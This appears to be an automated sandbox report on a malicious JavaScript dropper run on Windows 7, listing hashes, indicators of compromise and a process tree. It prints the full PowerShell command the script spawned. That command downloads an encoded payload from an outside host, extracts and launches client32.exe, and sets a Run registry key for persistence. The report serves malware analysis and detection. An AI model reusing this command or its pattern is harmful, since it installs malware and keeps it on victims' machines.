85b741f34dbabcf8cc807ff1a2d063f8b5791fdc877d10a3698f86440a01d335

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-08-2023 08:21

Target

224622462246.js
Size

3KB
MD5

456ac7b8a1af03bada1d6e94e201fdca
SHA1

51be2d76ff0275fd6a8689f4dba6a9ff03cbec27
SHA256

85b741f34dbabcf8cc807ff1a2d063f8b5791fdc877d10a3698f86440a01d335
SHA512

3c4e5cd558251b9a0905192db146943a7aa5d570b75c5e15d10d681a34e74d48d32221a0fb9a6ac834f3cc7e543fdaafa415a14256a3a8673825dcc2dba1e162

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1284	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1284	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1284	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 1284	2496	wscript.exe	28
PID 2496 wrote to memory of 1284	2496	wscript.exe	28
PID 2496 wrote to memory of 1284	2496	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\224622462246.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1284

memory/1284-4-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/1284-5-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/1284-6-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/1284-7-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1284-8-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1284-9-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1284-10-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/1284-12-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download